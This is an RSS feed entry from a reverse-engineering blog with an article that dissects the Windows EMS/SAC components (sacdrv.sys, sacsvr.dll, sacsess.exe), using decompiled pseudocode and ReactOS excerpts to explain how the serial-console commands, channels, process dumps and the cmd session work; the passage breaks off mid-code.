<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[nixhacker - The Reverser's Space]]></title><description><![CDATA[An online technology media property, dedicated to provide content about Reversing, Malware analysis, Firmware(UEFI/BIOS) and other low level stuff.]]></description><link>http://nixhacker.com/</link><image><url>http://nixhacker.com/favicon.png</url><title>nixhacker - The Reverser&apos;s Space</title><link>http://nixhacker.com/</link></image><generator>Ghost 5.130</generator><lastBuildDate>Sun, 19 Apr 2026 05:56:24 GMT</lastBuildDate><atom:link href="http://nixhacker.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Peeling Back the Layers: Understanding Windows components Architecture through SAC/EMS Reversing]]></title><description><![CDATA[In this article, we will be exploring the inner workings of how SAC operates! This will also give you a better understanding of the low-level components of Windows implementation details, and what you can look forward to after reversing them.]]></description><link>http://nixhacker.com/understanding-windows-components-architecture-by-reversing-ems-sac-support/</link><guid isPermaLink="false">66c4ad0112c6400b4449a471</guid><category><![CDATA[Windows OS]]></category><category><![CDATA[Reverse engineering]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Thu, 05 Sep 2024 20:23:35 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2024/09/Designer-1.png" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2024/09/Designer-1.png" alt="Peeling Back the Layers: Understanding Windows components Architecture through SAC/EMS Reversing"><p>Windows have a cool feature EMS (Emergency management support) and SAC (Special Administrative Console) that can be highly useful in windows servers and cloud environment. You can read more about EMS/SAC and discover their functionalities, feel free to explore my previous article <a href="http://nixhacker.com/setting-up-and-playing-with-ems-sac/">https://nixhacker.com/setting-up-and-playing-with-ems-sac/</a>.</p><p>In this article, we will be exploring the inner workings of how SAC operates! This will also give you a better understanding of the low-level components of Windows implementation details, and what you can look forward to after reversing them.</p><p>The EMS can be reached through Serial COM port. All the low level work of EMS &#xA0;is handled by SAC service in windows. First level of interaction with serial port occurs within the kernel driver <code>SACSRV.sys</code> &#xA0;which is responsible for processing the data recieved from serial port and handling major tasks. In instances where the EMS feature is enabled by default, this driver is initialized during the system&apos;s boot process. You will find the registry key associated with the driver service at <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sacdrv</code> .</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/08/Screenshot-2024-08-24-132728.png" class="kg-image" alt="Peeling Back the Layers: Understanding Windows components Architecture through SAC/EMS Reversing" loading="lazy" width="572" height="232"></figure><p>The operational tasks on the user side are managed by a Windows service designated as <code>sacsvr</code>, which incorporates its service-specific functionality within the <code>sacsvr.dll</code> file. You will find the registry key associated with the service at same registry location as above.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/08/Screenshot-2024-08-24-133548.png" class="kg-image" alt="Peeling Back the Layers: Understanding Windows components Architecture through SAC/EMS Reversing" loading="lazy" width="777" height="365" srcset="http://nixhacker.com/content/images/size/w600/2024/08/Screenshot-2024-08-24-133548.png 600w, http://nixhacker.com/content/images/2024/08/Screenshot-2024-08-24-133548.png 777w" sizes="(min-width: 720px) 720px"></figure><p>Another user side component integral to the EMS that facilitates managing command execution session is <code>sacsess.exe</code> known as SAC service helper binary.</p><p> <br>SAC infrastructure provide following functionalities to the user:</p><!--kg-card-begin: markdown--><ul>
<li>Command console</li>
<li>Restart</li>
<li>Shutdown</li>
<li>crashdump</li>
<li>Killing process</li>
<li>Process priority modification</li>
<li>Limit memory</li>
<li>Set time</li>
<li>Machine information</li>
<li>Set IP address</li>
<li>Live dump</li>
<li>Process dump</li>
</ul>
<!--kg-card-end: markdown--><p>Each functionality discussed above is handled by different components &#xA0;of SAC. The flow of responsibility transfer and handling (which component has which functionality implemented) looks like below. :</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/08/Flowcharts.jpeg" class="kg-image" alt="Peeling Back the Layers: Understanding Windows components Architecture through SAC/EMS Reversing" loading="lazy" width="2000" height="866" srcset="http://nixhacker.com/content/images/size/w600/2024/08/Flowcharts.jpeg 600w, http://nixhacker.com/content/images/size/w1000/2024/08/Flowcharts.jpeg 1000w, http://nixhacker.com/content/images/size/w1600/2024/08/Flowcharts.jpeg 1600w, http://nixhacker.com/content/images/2024/08/Flowcharts.jpeg 2170w" sizes="(min-width: 720px) 720px"></figure><p>The majority of functionality of SAC is implemented in <code>sacdrv.sys</code>. Requests associated for the Command console and Process dump are directed towards the user-side service <code>sacsvr</code>. Within the <code>sacsvr</code> , the functionality pertaining to process dumping is effectively implemented; however, in the case of command console requests, <code>sacsvr</code> initiates the child process <code>sacess</code>, which facilitates all interactions with the command shell. Subsequently, this service launches <code>cmd.exe</code>, which serves as a pseudo console for the execution of commands.</p><h3 id="diving-into-sac-driver-sacdrvsys">Diving into SAC driver (sacdrv.sys )</h3><p>On driver entry, SAC creates a device object at <code>\Device\SAC</code> and initialize global data(<code>InitializeGlobalData</code>) and device data(<code>InitializeDeviceData</code>). During global data initialization the driver perform following steps</p><ul><li>Creates symbolic link of <code>\Device\SAC</code> to <code>\DosDevices\SAC</code></li><li>Setting flag <code>CommandConsoleLaunchingEnabled</code> based on following registry key <code>HKLM\System\CurrentControlSet\Services\sacdrv\DisableCmdSessions</code>.</li><li>Allocate memory to store serial port buffer.</li><li>Assign the <code>sacsvr</code> service Start registry value in <code>ImposeSacCmdServiceStartTypePolicy</code> (Registry key <code>\Registry\Machine\System\CurrentControlSet\Services\sacsvr\Start</code> to <code>RegistryValueBuffer</code>.</li><li>Initialize channel manager ( <code>ChanMgrInitialize</code>). Note: We will go into more details of channel later.</li><li>It creates an event <code>\SACEvent</code> using <code>IoCreateSynchronizationEvent()</code>. more on events object <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-and-using-an-event-object?ref=nixhacker.com">here</a>.</li><li>Initialize machine information in <code>InitializeMachineInformation()</code>. &#xA0;The machine information are extracted from following registry keys and apis:</li></ul><ol><li><code>RtlGetVersion()</code></li><li><code>RtlGetProductInfo</code></li><li><code>HKLM\System\Setup\SystemSetupInProgress</code></li><li><code>HKLM\System\CurrentControlSet\Control\ComputerName\ComputerName</code></li><li><code>HKLM\System\CurrentControlSet\Control\Session Manager\Environment\PROCESSOR_ARCHITECTURE</code></li><li><code>HKLM\System\CurrentControlSet\Control\MiniNT</code></li></ol><ul><li>If event creation succeed, it will register a callback named <code>\Callback\Phase1InitComplete</code> using <code>ExRegisterCallback</code>. This callback can be accessed by other kernel drivers.</li></ul><p><code>InitializeDeviceData</code> is mainly responsible to start a system thread using <code>PsCreateSystemThread</code> that will run in background and is responsible for consuming buffer from serial port ( <code>ConMgrSerialPortConsumer</code>) as well as connection manager initialization ( <code>ConMgrInitialize</code>). </p><p><code>ConMgrIntialize</code>- Responsible to Create a new channel( <code>ChanMgrCreateChannel</code>), setting it&apos;s flag (like channel id) and getting it&apos;s handle( <code>ChanMgrGetByHandle</code> ). </p><p></p><h3 id="understanding-sac-channels">Understanding SAC Channels</h3><p>For each connection request on serial port, SAC creates a new channel (of size <code>0x3f0</code>).</p><p>Channel is essentially a structure defined in heap memory to manager each connection. The structure attributes are mentioned below (from React OS project code):</p><pre><code>LONG 	Index
 
SAC_CHANNEL_ID 	ChannelId
 
HANDLE 	CloseEvent
 
PVOID 	CloseEventObjectBody
 
PKEVENT 	CloseEventWaitObjectBody
 
HANDLE 	HasNewDataEvent
 
PVOID 	HasNewDataEventObjectBody
 
PKEVENT 	HasNewDataEventWaitObjectBody
 
HANDLE 	LockEvent
 
PVOID 	LockEventObjectBody
 
PKEVENT 	LockEventWaitObjectBody
 
HANDLE 	RedrawEvent
 
PVOID 	RedrawEventObjectBody
 
PKEVENT 	RedrawEventWaitObjectBody
 
PFILE_OBJECT 	FileObject
 
SAC_CHANNEL_TYPE 	ChannelType
 
SAC_CHANNEL_STATUS 	ChannelStatus
 
WCHAR 	NameBuffer [SAC_CHANNEL_NAME_SIZE+1]
 
WCHAR 	DescriptionBuffer [SAC_CHANNEL_DESCRIPTION_SIZE+1]
 
ULONG 	Flags
 
GUID 	ApplicationType
 
LONG 	WriteEnabled
 
ULONG 	IBufferIndex
 
PCHAR 	IBuffer
 
LONG 	ChannelHasNewIBufferData
 
UCHAR 	CursorRow
 
UCHAR 	CursorCol
 
UCHAR 	CellForeColor
 
UCHAR 	CellBackColor
 
UCHAR 	CellFlags
 
PCHAR 	OBuffer
 
ULONG 	OBufferIndex
 
ULONG 	OBufferFirstGoodIndex
 
LONG 	ChannelHasNewOBufferData
 
PSAC_CHANNEL_CREATE 	ChannelCreate
 
PSAC_CHANNEL_DESTROY 	ChannelDestroy
 
PSAC_CHANNEL_OFLUSH 	ChannelOutputFlush
 
PSAC_CHANNEL_OECHO 	ChannelOutputEcho
 
PSAC_CHANNEL_OWRITE 	ChannelOutputWrite
 
PSAC_CHANNEL_OREAD 	ChannelOutputRead
 
PSAC_CHANNEL_IWRITE 	ChannelInputWrite
 
PSAC_CHANNEL_IREAD 	ChannelInputRead
 
PSAC_CHANNEL_IREAD_LAST 	ChannelInputReadLast
 
PSAC_CHANNEL_IBUFFER_FULL 	ChannelInputBufferIsFull
 
PSAC_CHANNEL_IBUFFER_LENGTH 	ChannelInputBufferLength
 
SAC_CHANNEL_LOCK 	ChannelAttributeLock
 
SAC_CHANNEL_LOCK 	ChannelOBufferLock
 
SAC_CHANNEL_LOCK 	ChannelIBufferLock</code></pre><p>Each channel once created get stored in <code>ChannelArray</code> which is of size <code>0x10</code>. This further implies that a maximum of 10 concurrent connections may operate simultaneously.</p><p>Code responsible for channel creation is present at <code>ChanMgrCreateChannel</code>. Following function first removes any zombie channel (inactive channels) followed by an assessment of whether the specified channel name is already present within the array. In the absence of such a name, a universally unique identifier (UUID) is generated utilizing the <code>ExUuidCreate</code> function, subsequently leading to the instantiation of the channel through the <code>ChannelCreate</code> function.The <code>ChannelCreate</code> function is tasked with initializing both the name and descriptor of the channel via <code>ChannelSetDescription</code>, in addition to incorporating associated events and locks, ultimately designating the channel as active through the <code>ChannelSetStatus</code> function.This encapsulates the essential information pertaining to channels within the System Administration Console (SAC). Next, let us examine the subsequent occurrences following the completion of all initialization procedures.</p><p>The aforementioned thread (which initiates its operation through <code>PsCreateSystemThread</code>) continuously monitors for any input emerging from the serial port. Once the input is passed through serial pipeline, &#xA0;it directed to<code>ConMgrSerialPortConsumer</code> in SAC driver. <code>ConMgrSerialPortConsumer</code> &#xA0;evaluates the integrity of the communication channel and performs several validity assessments on the input (which is present in the <code>InputBuffer</code>) before invoking <code>ConMgrProcessInputLine</code>, provided the input conforms to the anticipated format and ASCII sequence.</p><p><code>ConMgrProcessInputLine</code> task is to process input and call the relevant functions based on input send by consumer. Each &#xA0;SAC feature has it&apos;s own standalone implementation present in functions starting with <code>Do*</code> like <code>DoKillCommand</code>. The pseudocode of <code>ConMgrProcessInputLine</code> looks like below(source ReactOS):</p><pre><code> if (!strncmp(InputBuffer, &quot;t&quot;, 1))
    {
        DoTlistCommand();
    }
    else if (!strncmp(InputBuffer, &quot;?&quot;, 1))
    {
        DoHelpCommand();
    }
    else if (!strncmp(InputBuffer, &quot;help&quot;, 4))
    {
        DoHelpCommand();
    }
    else if (!strncmp(InputBuffer, &quot;f&quot;, 1))
    {
        DoFullInfoCommand();
    }
    else if (!strncmp(InputBuffer, &quot;p&quot;, 1))
    {
        DoPagingCommand();
    }
    else if (!strncmp(InputBuffer, &quot;id&quot;, 2))
    {
        DoMachineInformationCommand();
    }
    else if (!strncmp(InputBuffer, &quot;crashdump&quot;, 9))
    {
        DoCrashCommand();
    }
    else if (!strncmp(InputBuffer, &quot;lock&quot;, 4))
    {
        DoLockCommand();
    }
    else if (!strncmp(InputBuffer, &quot;shutdown&quot;, 8))
    {
        ExecutePostConsumerCommand = Shutdown;
    }
    else if (!strncmp(InputBuffer, &quot;restart&quot;, 7))
    {
        ExecutePostConsumerCommand = Restart;
    }
    else if (!strncmp(InputBuffer, &quot;d&quot;, 1))
    {
        EnablePaging = GlobalPagingNeeded;
        Status = HeadlessDispatch(HeadlessCmdDisplayLog,
                                  &amp;EnablePaging,
                                  sizeof(EnablePaging),
                                  NULL,
                                  NULL);
        if (!NT_SUCCESS(Status)) SAC_DBG(SAC_DBG_INIT, &quot;SAC Display Log failed.\n&quot;);
    }
    else if (!strncmp(InputBuffer, &quot;cmd&quot;, 3))
    {
        if (CommandConsoleLaunchingEnabled)
        {
            DoCmdCommand(InputBuffer);
        }
        else
        {
            SacPutSimpleMessage(148);
        }
    }
    else if (!(strncmp(InputBuffer, &quot;ch&quot;, 2)) &amp;&amp;
             (((strlen(InputBuffer) &gt; 1) &amp;&amp; (InputBuffer[2] == &apos; &apos;)) ||
              (strlen(InputBuffer) == 2)))
    {
        DoChannelCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, &quot;k&quot;, 1)) &amp;&amp;
             (((strlen(InputBuffer) &gt; 1) &amp;&amp; (InputBuffer[1] == &apos; &apos;)) ||
              (strlen(InputBuffer) == 1)))
    {
        DoKillCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, &quot;l&quot;, 1)) &amp;&amp;
             (((strlen(InputBuffer) &gt; 1) &amp;&amp; (InputBuffer[1] == &apos; &apos;)) ||
              (strlen(InputBuffer) == 1)))
    {
        DoLowerPriorityCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, &quot;r&quot;, 1)) &amp;&amp;
             (((strlen(InputBuffer) &gt; 1) &amp;&amp; (InputBuffer[1] == &apos; &apos;)) ||
              (strlen(InputBuffer) == 1)))
    {
        DoRaisePriorityCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, &quot;m&quot;, 1)) &amp;&amp;
             (((strlen(InputBuffer) &gt; 1) &amp;&amp; (InputBuffer[1] == &apos; &apos;)) ||
              (strlen(InputBuffer) == 1)))
    {
        DoLimitMemoryCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, &quot;s&quot;, 1)) &amp;&amp;
             (((strlen(InputBuffer) &gt; 1) &amp;&amp; (InputBuffer[1] == &apos; &apos;)) ||
              (strlen(InputBuffer) == 1)))
    {
        DoSetTimeCommand(InputBuffer);
    }
    else if (!(strncmp(InputBuffer, &quot;i&quot;, 1)) &amp;&amp;
             (((strlen(InputBuffer) &gt; 1) &amp;&amp; (InputBuffer[1] == &apos; &apos;)) ||
              (strlen(InputBuffer) == 1)))
    {
        DoSetIpAddressCommand(InputBuffer);
    }
    else if ((InputBuffer[0] != &apos;\n&apos;) &amp;&amp; (InputBuffer[0] != ANSI_NULL))
    {
        SacPutSimpleMessage(SAC_UNKNOWN_COMMAND);
    }
}</code></pre><p>Let&apos;s dive into each feature calls on how they are implemented:</p><p><code>DoTlistCommand</code> - List down the running process in the machine. </p><p>The command first creates a global buffer ( <code>GlobalBuffer</code>) to store the process list. Then call <code>GetTListInfo</code> which get the list of running process. <code>GetTListInfo</code> first check some system information mentioned below:</p><ul><li>SystemTimeOfDayInformation</li><li>SystemBasicInformation</li><li>SystemPageFileInformation</li><li>SystemFileCacheInformation</li><li>SystemPerformanceInformation</li><li>SystemProcessInformation</li></ul><p>If all the infos are retrieved successfully, it traverse the <code>ProcessInfo</code> structure to get the list of all running process. The pseudo code looks something like this below:</p><pre><code>while (TRUE)
    {
        /* Does the process have a name? */
        if (ProcessInfo-&gt;ImageName.Buffer)
        {
            /* Is the process name too big to fit? */
            if ((LONG)BufferLength &lt; ProcessInfo-&gt;ImageName.Length)
            {
                /* Bail out */
                SAC_DBG(SAC_DBG_ENTRY_EXIT, &quot;Exiting, error(7).\n&quot;);
                return STATUS_INFO_LENGTH_MISMATCH;
            }
 
            /* Copy the name into our own buffer */
            RtlCopyMemory((PVOID)P,
                          ProcessInfo-&gt;ImageName.Buffer,
                          ProcessInfo-&gt;ImageName.Length);
            ProcessInfo-&gt;ImageName.Buffer = (PWCHAR)P;
 
            /* Update buffer lengths and offset */
            BufferLength -= ProcessInfo-&gt;ImageName.Length;
            P += ProcessInfo-&gt;ImageName.Length;
 
            /* Are we out of memory? */
            if ((LONG)BufferLength &lt; 0)
            {
                /* Bail out */
                SAC_DBG(SAC_DBG_ENTRY_EXIT, &quot;Exiting, no memory(8).\n&quot;);
                return STATUS_NO_MEMORY;
            }
        }
 
        </code></pre><p>After this <code>PrintTListInfo</code> is called to print the retrieved list with few additional information.</p><p><code>DoCrashCommand</code>: Crash the machine using <code>KeBugCheckEx</code>.</p><p><code>DoPagingCommand</code>: Modify the global paging flag.</p><p><code>DoMachineInformationCommand</code>: Print the machine information (earlier stored during driver initialization).</p><p><code>DoKillCommand</code> : Kill a process. This first check if the process is part of job <code>\BaseNamedObjects\SACX</code> . If so, kill the job using <code>ZwTerminateJobObject</code> otherwise kill the process using <code>ZwTerminateProcess</code>. The pseudo code will look like below:</p><pre><code class="language-C">StringCbPrintfW(
      GlobalBuffer,
      (unsigned int)GlobalBufferSize,
      L&quot;\\BaseNamedObjects\\SAC%d&quot;,
      v5,
      ClientId.UniqueProcess,
      ClientId.UniqueThread,
      *(_QWORD *)&amp;DestinationString.Length,
      DestinationString.Buffer,
      *(_QWORD *)&amp;ObjectAttributes.Length,
      ObjectAttributes.RootDirectory,
      ObjectAttributes.ObjectName,
      *(_QWORD *)&amp;ObjectAttributes.Attributes,
      ObjectAttributes.SecurityDescriptor,
      ObjectAttributes.SecurityQualityOfService);
    RtlInitUnicodeString(&amp;DestinationString, GlobalBuffer);
    ObjectAttributes.RootDirectory = 0LL;
    ObjectAttributes.ObjectName = &amp;DestinationString;
    ObjectAttributes.Length = 48;
    ObjectAttributes.Attributes = 576;
    &amp;ObjectAttributes.SecurityDescriptor = 0LL;
    status = ZwOpenJobObject(&amp;JobHandle, 0x2000000u, &amp;ObjectAttributes);
    ObjectAttributes.RootDirectory = 0LL;
    ObjectAttributes.ObjectName = 0LL;
    ClientId.UniqueThread = 0LL;
    ObjectAttributes.Length = 48;
    ObjectAttributes.Attributes = 576;
    &amp;ObjectAttributes.SecurityDescriptor = 0LL;
    nt_status = status;
    ClientId.UniqueProcess = (HANDLE)v5;
    nt_status2 = ZwOpenProcess(&amp;ProcessHandle, 0x2000000u, &amp;ObjectAttributes, &amp;ClientId);
    if ( nt_status2 &gt;= 0 )
    {
      if ( nt_status &gt;= 0 &amp;&amp; ZwIsProcessInJob(ProcessHandle, JobHandle) == 292 )
      {
        killed_job = 1;
        killed_process = 0;
        nt_status2 = ZwTerminateJobObject(JobHandle, 1);
        ZwMakeTemporaryObject(JobHandle);
      }
      else
      {
        killed_job = 0;
        killed_process = 1;
        nt_status2 = ZwTerminateProcess(ProcessHandle, 1);
      }
    }</code></pre><p><code>DoLowerPriorityCommand</code>: Lower the process priority.</p><p> Open the process using <code>ZwOpenProcess</code> and lower the priority using <code>ZwSetInformationProcess</code>. &#xA0;</p><pre><code class="language-C">ObjectAttributes.RootDirectory = 0LL;
      ObjectAttributes.ObjectName = 0LL;
      ClientId.UniqueThread = 0LL;
      ClientId.UniqueProcess = (HANDLE)v5;
      ObjectAttributes.Length = 48;
      ObjectAttributes.Attributes = 576;
      *(_OWORD *)&amp;ObjectAttributes.SecurityDescriptor = 0LL;
      v6 = ZwOpenProcess(&amp;ProcessHandle, 0x2000000u, &amp;ObjectAttributes, &amp;ClientId);
      ZwSetInformationProcess(ProcessHandle, ProcessBasePriority, (char *)&amp;v19 + 8, 4u);</code></pre><p><code>DoRaisePriorityCommand</code>: Raise the priority of process. Works similar way as <code>DoLowerPriorityCommand</code>.</p><p><code>DoLimitMemoryCommand</code>: This will limit the maximum memory space used by a process. It is implemented in following way:</p><ul><li>Open the process using <code>ZwOpenProcess</code>.</li><li>It creates a job object <code>\BaseNamedObjects\SACx</code> and assign process to that job object using <code>ZwAssignProcessToJobObject</code>.</li><li>If the job object already exist, check if process already part of the job object using <code>ZwIsProcessInJob</code>.</li><li>Use <code>ZwSetInformationJobObject</code> to limit the memory usage to that job object.</li></ul><p>The pseudo code looks like below:</p><pre><code class="language-C">process_status = ZwOpenProcess(&amp;ProcessHandle, 0x2000000u, (POBJECT_ATTRIBUTES)&amp;ObjectAttributes_8, &amp;ClientId_8);
  if ( process_status &gt;= 0 )
  {
    if ( v12 &lt; 0 )
    {
      *((_QWORD *)&amp;ObjectAttributes_8 + 1) = 0LL;
      *(_QWORD *)&amp;ObjectAttributes_24 = &amp;DestinationString;
      LODWORD(ObjectAttributes_8) = 48;
      DWORD2(ObjectAttributes_24) = 592;
      ObjectAttributes_40 = 0LL;
      object_status = ZwCreateJobObject(&amp;JobHandle, 0x2000000u, (POBJECT_ATTRIBUTES)&amp;ObjectAttributes_8);
      if ( object_status &lt; 0 )
      {
        Message = GetMessage(61LL);
        goto exit()
      }
      assign_jobstatus = ZwAssignProcessToJobObject(JobHandle, ProcessHandle);
      ZwClose(ProcessHandle);
    else if ( ZwIsProcessInJob(ProcessHandle, JobHandle) != 292 )
    {
      v0 = 90LL;
      goto LABEL_53;
    }
  }
  
  LODWORD(JobInformation[2]) |= 0x300u;
  JobInformation[14] = (unsigned int)(v10 &lt;&lt; 20);
  JobInformation[15] = JobInformation[14];
  v24 = ZwSetInformationJobObject(JobHandle, JobObjectExtendedLimitInformation, JobInformation, 0x90u);
  </code></pre><p><code>DoSetTimeCommand</code>: Set time of system. Use <code>ZwSetSystemTime</code> to set the system time.</p><p><code>DoSetIpAddressCommand</code>: Set Ip address of machine. Uses following method:</p><ul><li>Calls <code>SacIpGetNetInfo</code> which later calls <code>SacIppEnumerateAddresses</code> and then &#xA0;<code>RtlIpv6AddressToStringW</code>. </li><li>Convert string to ip using <code>RetrieveIpAddressFromString</code></li><li>Calls <code>SacIpSetNetInfo</code> that uses <code>NsiSetAllParameters</code>.</li></ul><p><code>DoRebootCommand</code>: Reboot the machine using <code>NtShutdownSystem</code>.</p><p><code>DoLiveDumpCommand</code>: This will create kernel live dump and store it in file <code>C:\Windows\MEMORY.DMP</code>. It uses <code>ZwSystemDebugControl</code> for live dump with following flag <code>SysDbgQueryTraceInformation</code>.</p><p><code>DoCmdCommand</code>: Creates a new command channel. This is depending on usermode service. We will talk more about this in next section.</p><p><code>DoChannelCommand</code>: Provide multiple sub-commands related to channels like listing, info, attaching channel etc. This calls following functions based on parameter passed to the command: <code>DoChannelListCommand</code>, <code>DoChannelCloseByNameCommand</code>, <code>DoChannelSwitchByNameCommand</code>, <code>ConMgrSetCurrentChannel</code>.</p><h3 id="sacsvrusermode-sac-service">SACSVR - Usermode SAC service</h3><p>Request from <code>DoProcessDumpCommand</code>(used for process dumping) and <code>DoCmdCommand</code> (used to create command execution channel) are sent to user side service <code>sacsvr</code>. </p><p>During initialization of SAC driver, function <code>ImposeSacCmdServiceStartTypePolicy</code> verify the <code>Start</code> registry key of <code>\Registry\Machine\System\CurrentControlSet\Services\sacsvr</code> to check the status of <code>sacsvr</code> service. In <code>DoProcessDumpCommand</code> and <code>DoCmdCommand</code> the driver calls <code>InvokeUserModeService</code> which set an event object.</p><pre><code class="language-C">KeWaitForSingleObject(&amp;SACSubcommandMutex, Executive, 0, 0, 0LL);
  memmove(&amp;SACSubcommand, &amp;InputBuffer, v4);
  LODWORD(SACSubcommandLength) = v4;
  KeReleaseMutex(&amp;SACSubcommandMutex, 0);
  Object[0] = RequestSacCmdSuccessEventObject;
  Object[1] = RequestSacCmdFailureEventObject;
  Timeout.QuadPart = -90000000LL;
  KeSetEvent((PRKEVENT)RequestSacCmdEventObject, 1, 1u);
  result = KeWaitForMultipleObjects(2u, Object, WaitAny, Executive, 1, 0, &amp;Timeout, 0LL);</code></pre><p>Coming to <code>sacsvr</code> service. The service code is implementated in <code>sacsvr.dll</code> . In the <code>sacsvr.dll</code>, <code>ServiceMain</code> calls &#xA0;<code>SacSvrServiceRun</code> &#xA0;which calls <code>CreateProcessDump</code> or <code>CreateClient</code> based on passed argument through buffer to <code>sacsvr</code>.</p><pre><code class="language-C">if ( !strcmp(Str1, &quot;cmd&quot;) )
        {
          CreateClient(&amp;v4);
        }
else if ( !strncmp(Str1, &quot;procdump&quot;, 8uLL) )
        {
          CreateProcessDump((__int64)Str1);
        }
        </code></pre><p><code>CreateProcessDump</code>: This creates process dump and save it in the filepath passed as argument to command. <br>Internally it calls <code>CreateMiniDumpThread</code> which creates a new thread with start address of <code>MiniDumpThreadProc</code>. <code>MiniDumpThreadProc</code> will then use <code>MiniDumpWriteDump</code> windows api to get the memory dump of the process by passing following flags <code>MiniDumpIgnoreInaccessibleMemory|MiniDumpWithThreadInfo|MiniDumpWithFullMemoryInfo|MiniDumpWithUnloadedModules|MiniDumpWithHandleData|MiniDumpWithFullMemory</code>. </p><p><code>CreateClient</code>: This is used to invoke command session when user input <code>cmd</code> in SAC.</p><p>This will just start <code>sacsess.exe</code> using <code>CreateProcess</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/09/Screenshot-2024-09-02-234916.png" class="kg-image" alt="Peeling Back the Layers: Understanding Windows components Architecture through SAC/EMS Reversing" loading="lazy" width="897" height="624" srcset="http://nixhacker.com/content/images/size/w600/2024/09/Screenshot-2024-09-02-234916.png 600w, http://nixhacker.com/content/images/2024/09/Screenshot-2024-09-02-234916.png 897w" sizes="(min-width: 720px) 720px"></figure><p>The work of <code>sacsvr</code> service is limited to handling mentioned above two functionalities only.</p><h3 id="sac-helper-program-sacsessexe">SAC helper program ( sacsess.exe)</h3><p><code>sacsess</code> process is responsible to handle the entirety of the interplay between the command shell and the SAC service. It encompasses various things like session initialization, authentication, and sending the data to and fro to command shell.</p><p><strong>How <code>sacess</code>&#x2003;to communicate with the driver?</strong></p><p> Beside events, <code>sacess</code> uses undocumented api <code>RtlSubscribeWnfStateChangeNotification</code> and <code>DeviceIoControl</code>. </p><p>During the initialization, it subscribes to the following event <code>WNF_EMS_SACSVR_STATE_CHANGE</code>. </p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/09/Screenshot-2024-09-03-004655.png" class="kg-image" alt="Peeling Back the Layers: Understanding Windows components Architecture through SAC/EMS Reversing" loading="lazy" width="935" height="501" srcset="http://nixhacker.com/content/images/size/w600/2024/09/Screenshot-2024-09-03-004655.png 600w, http://nixhacker.com/content/images/2024/09/Screenshot-2024-09-03-004655.png 935w" sizes="(min-width: 720px) 720px"></figure><p>The function also invokes <code>CSession::Init</code>, which serves the purpose of initializing the Command session.This function subsequently calls two significant routines: <code>CSession::Authenticate</code> and <code>CShell::StartProcess</code> .Initially, <code>CSession::Authenticate</code> assesses whether credential verification is necessitated ( <code>NeedCredentials</code>) and subsequently proceeds to authenticate the credentials through <code>CSecurityIoHandler::AuthenticateCredentials</code>.The method <code>CSecurityIoHandler::AuthenticateCredentials</code> employs <code>LogonUserExExW</code> to facilitate user login and retrieves the token handle via <code>NtQueryInformationToken</code>.The pseudocode is illustrated as follows:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/09/Screenshot-2024-09-03-005608.png" class="kg-image" alt="Peeling Back the Layers: Understanding Windows components Architecture through SAC/EMS Reversing" loading="lazy" width="1327" height="558" srcset="http://nixhacker.com/content/images/size/w600/2024/09/Screenshot-2024-09-03-005608.png 600w, http://nixhacker.com/content/images/size/w1000/2024/09/Screenshot-2024-09-03-005608.png 1000w, http://nixhacker.com/content/images/2024/09/Screenshot-2024-09-03-005608.png 1327w" sizes="(min-width: 720px) 720px"></figure><p>Using this handle, <code>CShell::StartProcess</code> start the <code>cmd.exe</code>. Following things happen in <code>CShell::StartProcess</code>:</p><ul><li>Create two named pipe for read and write data between <code>cmd</code> and <code>sacsess</code> using <code>CreatePipe</code>. </li><li>Pass the pipes handle to <code>CreatePseudoConsoleAsUser</code> to create pseudo console. You can read more about pseudo console <a href="https://learn.microsoft.com/en-us/windows/console/creating-a-pseudoconsole-session?ref=nixhacker.com">here</a>.</li><li>Start the <code>cmd.exe</code> using <code>CreateProcessAsUserW</code></li></ul><p>The pseudo code will looks like below:</p><pre><code class="language-C">SystemDirectoryW = GetSystemDirectoryW(v5, 0x105u);
  if ( !SystemDirectoryW )
  {
	exit();
  }
  system_dir_addr = SystemDirectoryW + 9;
  cmd_fullpath1 = (wchar_t *)operator new[](saturated_mul(SystemDirectoryW + 9, 2uLL));
  cmd_fullpath = swprintf_s(cmd_fullpath1, system_dir_addr, L&quot;%s\\%s&quot;, v5, L&quot;cmd.exe&quot;);
  operator delete[](v5);
  if ( cmd_fullpath == -1 )
  {
    v7 = cmd_fullpath1;
    exit();
  }
  if ( !cmd_fullpath1 )
    exit();
  *((_QWORD *)this + 6) = -1LL;
  if ( (unsigned int)CShell::IsLoadProfilesEnabled(v11) &amp;&amp; (unsigned int)NeedCredentials() )
  {
    UtilLoadProfile(token_handle, (void **)this + 6);
    env_addr = UtilLoadEnvironment(token_handle, &amp;Environment);
    Environment = (LPVOID)(-(__int64)env_addr &amp; (unsigned __int64)Environment);
  }
  SetConsoleCtrlHandler(0LL, 0);
  NTSTATUS = CreatePipe(&amp;hReadPipe, (PHANDLE)this + 7, 0LL, 0);
  if ( !NTSTATUS )
  {
    exit();
  }
  NTSTATUS = CreatePipe((PHANDLE)this + 8, &amp;hWritePipe, 0LL, 0);
  if ( !NTSTATUS )
  {
    exit()
  }
  v16 = (PVOID *)((char *)this + 8);
  if ( (int)CreatePseudoConsoleAsUser(
              token_handle,
              *((unsigned int *)this + 4),
              hReadPipe,
              hWritePipe,
              0,
              (char *)this + 8) &lt; 0 )
  {
